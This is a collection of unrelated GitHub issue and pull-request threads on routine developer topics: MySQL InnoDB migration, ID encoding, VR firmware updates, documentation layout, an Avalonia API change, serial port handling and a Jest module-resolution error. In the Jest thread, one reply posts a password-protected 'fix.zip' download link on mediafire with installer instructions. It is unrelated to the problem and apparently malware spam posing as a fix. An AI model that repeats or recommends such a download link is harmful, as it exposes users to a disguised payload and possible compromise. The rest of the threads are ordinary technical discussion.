I've changed my Tables to InnoDb after setting the email columns to varchar(191) without any problems. But that leads to another question, have you ever seen a real email adress with more than 150 chars? Or 240 to 250? And even if there are a few, these should be more an exception, i guess.
/* only from curiosity, here are just around 150 chars and it already looks like anything else than an email address */<EMAIL_ADDRESS>
Does that work for you?

I've created, for the sake of curiosity, around 15.000 Users (with an additional "user_settings" table containing some extra columns and data for each User) and i've encountered no problems at all, so: yes. With a Pagination-script, i've also not seen any difference when loading 15 from 15 Users or 15 from 15.000. Just blazing fast.

Any other feedback on how this library works with InnoDB is also much appreciated.

It seems the day will come where you will be forced to change it, wanted or not ;)
https://www.percona.com/blog/2016/10/11/mysql-8-0-end-myisam/
PS: Composer will cause problems in the future because of the Exceptions, that are all combined in "src/Exceptions.php". I've created all of them (21) separately, have thrown them in the "src/" folder, outcommented all the content in "Exceptions.php" and that's all. It looks pretty messed up currently, yes, absolutely.
If they might be usefull for you, i can upload the files. I've straight copyed the classes from "src/Exceptions.php" in to separate files.
Composer Notice was:

Deprecation Notice: Class Delight\Auth\AuthException located in /vendor/delight-im/auth/src/Exceptions.php does not comply with psr-4 autoloading standard. It will not autoload anymore
in Composer v2.0. in phar://composer/composer.phar/src/Composer/Autoload/ClassMapGenerator.php:201

BTW, great work. Really appreciate it

@eypsilon Thanks a lot for sharing your experience with InnoDB instead of MyISAM here. It’s great to have another confirmation that it’s really only a little extra work that is required for the change. The Composer/exception/namespace problem is already tracked in another issue and will be taken care of shortly.


Correction due to specification change of Personium Core Request message

Please write more details about it. If you need resolve this, please reopen this issue.


consider new id format?

does "B" look too similar to "8" to be in our ids? we wanted to avoid ambiguous characters...

here were the goals of the format:

be like bitcoin's base58 format, like base64 reduce ambiguous chars like I vs l and O vs 0
but go further

avoid appearance of naughty-words by eliminating all vowels
similarly eliminate all numbers that look like vowels
similarly eliminate all letters that look like other vowels like V

so i implemented a base42 alphabet 256789BCDFGHJKMNPRSTWXYZbcdfghkmnpqrstwxyz
but if we remove "B"...

what about S vs 5.. also too ambiguous?
or G vs 6? maybe? is this going too far?
okay think T vs 7 is too far

so minus B, S, and G, we get base39 256789CDFHJKMNPRTWXYZbcdfghkmnpqrstwxyz
todo: figure out how long 256-bit base39 strings will be.. these are getting rather long, tempting to just use bitcoin's base58 and move on, and stop caring about naughty words appearing in user ids...

okay, i encountered a bug in the base42 encode/decode -- it was proving a wrestle, so i rethought this whole thing
i've decided to just use hexadecimal

base42 ids are 48 characters. that's long
hex ids are 64 characters. also long
both are long enough you always copy to clipboard
hex doesn't really have any swear words
hex is very common and very simple to encode/decode
hex doesn't have ambiguous characters
hex can be case sensitive
hex good

i completed a full conversion to hex ids, issue closed


fby4: sd: Support for updating VR tps536xx's firmware and getting ver…

…sion
Description:
1. Design a function to parse the sample hex image.
2. Get tps536xx's version from NVM_CHECKSUM(F4h).
3. Verify Device ID, target address, and CRC before updating.
    3-1. If Device ID and target address do not match, stop updating.
    3-2. Prevent flashing the same image, stop updating when the image CRC matches device's.
4. Operate TI_REG_USER_NVM_INDEX(F5h) and TI_REG_USER_NVM_EXECUTE(F6h) for updating.

Motivation:
- Support to update VR tps536xx.

Test plan:
- Update tps536c5 with hex image: Pass

Test log:
root@bmc:/tmp# pldmtool fw_update GetFwParams -m 50     // Get VR version before updating
```
{
    "ComponentClassification": "Downstream Device",
    "ComponentIdentifier": 3,
    ```
    "ActiveComponentVersionString": "Texas Instruments 00001dc5",
    "PendingComponentVersionString": ""
},
```

root@bmc:/tmp# bic-update.sh sd 5 pldm-ti-image
WARNING! This will automatically update all BICs.
Continue? [y/N] y
└─ /xyz
└─ /xyz/openbmc_project
    └─ /xyz/openbmc_project/mctp
    └─ /xyz/openbmc_project/mctp/1
        ├─ /xyz/openbmc_project/mctp/1/50
        ├─ /xyz/openbmc_project/mctp/1/52
        └─ /xyz/openbmc_project/mctp/1/8
Start to Update BIC
Check if other BICs are updating
software_id = 142344108
Waiting for updating... 1 sec
Update done.
Delete software id. software id = 142344108
Done

root@bmc:/tmp# pldmtool fw_update GetFwParams -m 50
```
{
    "ComponentClassification": "Downstream Device",
    "ComponentIdentifier": 3,
    ```
    "ActiveComponentVersionString": "Texas Instruments 0000aea1",
    "PendingComponentVersionString": ""
},
```

@BonnieLo Can you please do a rebase as there was another diff from Quanta touching same files that has landed. Thanks

We rebase the lastest main branch. Please check. Thanks.


Docs split into multiple pages

Changes
Splits docs into multiple pages
Testing
TBA
Docs
Is docs :)

After Discussion:
Homepage (1 page: Current “Overview” Section)
Overview (1 page: Current “Main Concepts”  Section)
Getting Started (1 page: Current Getting Started)
Features (1 page: Current Features)
Guides
Create a Plugin (current plugin guide)
React
Svelte
… (Split all current guide sections into separate pages)
Configuration (1 page: Current “Configuration” section)
Plugins (1 page: “Official Plugins + Community Plugins” List)
Support (1 page: Current “Troubleshooting” section)
Goals:
Doing the work outlined above
Not worrying about navigation within the “Legacy, large 1 pagers”
When we split up guides into their own pages, how does the sidebar look?
Can this design scale to 20 guides? 30? etc.

This looks like a great start and the right organization to pursue further. 2 comments:

the titles on the Troubleshooting/Support page are very big, may have been converted to H1's accidentally? If H2's, that's fine, but something we should address before release.
I believe the top-level "Plugins" page was meant to be the current "using plugins" documentation, which shows some basic info and then a list of official/unofficial plugins.

This is great! An idea for the Plugins section:

/plugins: Into page + Table of Contents showing all subpages
/plugins/all: A list of all plugins and what they do (separated into official + community)
/plugins/making-your-own: Making your plugin guide

So these wouldn’t be in guides or anywhere else; the flow is learn about plugins → see all plugins → learn to make your own (if none exist).

@drwpow one thing that I have been chatting about is turning the top-level plugins page into something like this: https://www.gatsbyjs.com/plugins
In that world, the "using plugins" and "making your own plugins" would live with the rest of the guides.

@drwpow a design question: I think we have enough guides that we'll need to shrink this section to not show all by default. Do we want to:

go the "expand on view" route, where clicking into a top-level sidebar item takes you to that page, and only on that page do we expand that section to show the secondary sidebar items for that one section.
go the "exand on hover/click" route, and let you navigate around before clicking on the page you'd like

My 2 cents: Adding search is going to really take over how people navigate, so I don't think we need to optimize for quick traversal via the sidebar and I think can optimize it instead for browsing, aka option 1.
We definitely want to push a couple of our more popular guides though. Maybe for the guides top-level item specifically, we do:
  - Guides
      - React
      - Svelte
      - Vue
      - See more...

And then expand it to show all when you're in the "guides" section / on a "guides" page.

@drwpow a design question: I think we have enough guides that we'll need to shrink this section to not show all by default. Do we want to:

go the "expand on view" route, where clicking into a top-level sidebar item takes you to that page, and only on that page do we expand that section to show the secondary sidebar items for that one section.
go the "exand on hover/click" route, and let you navigate around before clicking on the page you'd like

My 2 cents: Adding search is going to really take over how people navigate, so I don't think we need to optimize for quick traversal via the sidebar and I think can optimize it instead for browsing, aka option 1.

I agree with this, and think #1 (simpler) is totally fine. Especially in the context of search.

We definitely want to push a couple of our more popular guides though. Maybe for the guides top-level item specifically, we do:
  - Guides
      - React
      - Svelte
      - Vue
      - See more...

And then expand it to show all when you're in the "guides" section / on a "guides" page.

While my “designer brain” wants to hide all of these these when not expanded for consistency, showing a couple more items always isn’t the end of the world, especially since this new layout shouldn’t have super long sidebars in the other sections. This works for me

Ha, well I'd rather start with a consistent design and then add this on at the end, so I'm also fine with avoiding that for now.


Added new optional parameter "quality" for IBitmap and IBitmapImpl.Save method

What does the pull request do?
This change allows for an optional quality parameter for saving Bitmap to a png file or stream. The parameter is interpreted by the backend implementations but typically ranges from 0..100. The parameter comes with a default value (null) which preserves the current behavior and is compatible with the current use.
What is the current behavior?
Bitmaps can only be stored with default quality.
What is the updated/expected behavior with this PR?
Bitmap.Save() can be used with and without quality parameter
How was the solution implemented (if it's not obvious)?
Changed interfaces IBitmap and IBitmapImpl to support the additional but optional parameter
Checklist

[x] Added unit tests (if possible)? => unit tests already there
[x] Added XML documentation to any related classes?
[ ] Consider submitting a PR to https://github.com/AvaloniaUI/Documentation with user documentation

Breaking changes

changed interface IBitmap
changed interface IBitmapImpl

Both are extended in a compatible manner.
Obsoletions / Deprecations
n/a
Fixed issues
n/a

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: llfab sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.

You can test this PR using the following package version. 11.0.999-cibuild0024334-beta. (feed url: https://nuget.avaloniaui.net/repository/avalonia-all/index.json) [PRBUILDID]

You can test this PR using the following package version. 11.0.999-cibuild0024516-beta. (feed url: https://nuget.avaloniaui.net/repository/avalonia-all/index.json) [PRBUILDID]

You can test this PR using the following package version. 11.0.999-cibuild0025081-beta. (feed url: https://nuget.avaloniaui.net/repository/avalonia-all/index.json) [PRBUILDID]

You can test this PR using the following package version. 11.0.999-cibuild0025541-beta. (feed url: https://nuget.avaloniaui.net/repository/avalonia-all/index.json) [PRBUILDID]

You can test this PR using the following package version. 11.0.999-cibuild0025611-beta. (feed url: https://nuget.avaloniaui.net/repository/avalonia-all/index.json) [PRBUILDID]

You can test this PR using the following package version. 11.0.999-cibuild0025681-beta. (feed url: https://nuget.avaloniaui.net/repository/avalonia-all/index.json) [PRBUILDID]


MRG: purge old scikits.learn imports

Since we've bumped the minimum sklearn to 0.19.1, there should be no need to try/except importing from scikits.learn anymore.

@larsoner this one is ready and already has +1 from alex

Thanks @drammock


channel.counterparty.channel_id should be type safe

We had to revert this to be a String but this  should be instead a validated type.

completed in https://github.com/unionlabs/union/pull/3173


Map page, right-side buttons hard to hit

On the Map page, the geocoded button (top right) and gear-settings button (top right) are difficult to hit. Could just be my fingers, but it seems pretty consistent on the iPhone and the iPad -- and does not sidebar-toggle button.
Look into this.

This is notable on the iPhone 6, but not so much the iPad. Smaller location.
Off the cuff, maybe make move the ng-click onto the button container, rather than the i button? Slightly larger hitbox?

Second item is likely unrelated, but usability experience is much the same:
The geocoded control, when you tap it, can take several seconds to respond. Or else, it's just difficult to hit. Hard to tell. I end up hitting it 4 or 5 times, which gets annoying.

Geocoded needed a lot more work than expected. The 'click' trigger was indeed just plain slow,.
Adding support for 'touchstart' created a new issue: iOS would propagate the click to the icon, thus defocusing the input a half-second later. The input's blur handler to dismiss/collapse the UI would then kick in. The effect is that the UI would open for a half-second, then close itself.


Add Delete to context menu

I hadn't any issues with the dirty indicator for many months. I think it's already safe to have Delete in the Context Menu.
If the repo is dirty, show ~ "The repository has local changes. Do you want to move it to the trash?"
VS Code has this windows when deleting a file, we can have a similar text / look and feel:

It's possible to use the trash pkg.

Added in 1.6.0. Note however that we send it to trash as there is no reliable package for it in npm. Maybe copy VSCode code for it?


M

DRTYH

hello so for some reason this repo isn't letting me add an issue but i just wanted to say hi, you are basically the first person that seems to actually care about this project lol. So yeah uh idk. just saying hi :)

Don't even know why I made a request lol, and i was surprised when I saw your comment. I thought you were going to tell me to remove it or something

oh haha not at all. as long as you give credit (which you did) feel free to do whatever you want :)

ok bb thx ;)

ly ;)

@ellieeet123


Port will not open if executing from file

Summary of Problem
(Please answer all 3)

What are you trying to do?
Open a port and write data to it
What happens?
If using the node command and typing program line-by line, port opens and it works correctly.
If executing from file, port never opens and data cannot be written.
What should have happened?
Port should have opened.

Code to Reproduce the Issue
const SerialPort = require('serialport')
port = new SerialPort('COM4', { baudRate: 115200 })

console.log(port)
console.log(port.isOpen)

while(!port.isOpen) {}

console.log('port open')

port.write("CFEFEFE")

Versions, Operating System and Hardware

SerialPort@?  v6.14.10
Node.js v? v14.15.4
Windows? Linux? Mac? windows 10
Hardware and chipset? (Prolific/FTDI/Other) ATMEGA 16u2 on Arduino Uno R3

I've figured out a workaround for the time being, using the child_process library.
const { exec } = require('child_process')

exec('echo CFFFFFF > COM4', {'shell':'cmd.exe'})

The serial port can be configured using:
exec('mode COM4 BAUD=115200 PARITY=n DATA=8 STOP=1 to=off xon=off odsr=off octs=off dtr=off rts=off idsr=off', {'shell':'cmd.exe'})

Composing those commands using basic string composition, you can get all of the functionality of Writing to the serial port.  Reading is still off the table as far as I can tell, since I can't get serialport to open the port.


Error importing rdfjs with jest

I'm running into a problem using rdfjs types together with the jest testing framework. The jest resolver can't find "@rdfjs/types" when it's imported in some library. When I edit the @rdfjs/types/package.json  file adding "main" : "index.d.ts", it can then find the package but it throws an error when importing the relative imports within that package.
Disclaimer: I'm not super experienced with typescript.
The error I am running into is:
➜ npm test

><EMAIL_ADDRESS>test
> node --experimental-vm-modules node_modules/jest/bin/jest.js

 FAIL  src/index.test.ts
  ● Test suite failed to run

    Cannot find module '@rdfjs/types' from 'src/index.ts'

      at Resolver._throwModNotFoundError (node_modules/jest-resolve/build/resolver.js:427:11)

I uploaded a minimal example to reproduce here: https://github.com/MMesch/minimal-rdfjs-jest
Any ideas what could cause this and how to fix or workaround?

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Importing other packages seems to work fine (I added chalk in the example to demonstrate).

No code exists in the package @rdfjs/types. Try type-only import
import type * as rdfjs from '@rdfjs/types';

Great that works! Thank you very much for the quick help.
I exchanged: import {type Quad, type ResultStream} from '@rdfjs/types'; with import type {Quad, ResultStream} from '@rdfjs/types';` and that did the trick.
I was extra confused because building, the language server and everything else worked well otherwise. Only jest bugged.


Support for real-time streaming via the SDK

👋 Thanks for the awesome SDK!
Was wondering if you have plans for adding support for real-time streaming via the node the SDK?

The 2.0 release of the SDK includes a real-time transcriber. Here's a guide on how to use it with a microphone, and you can also find details in the README.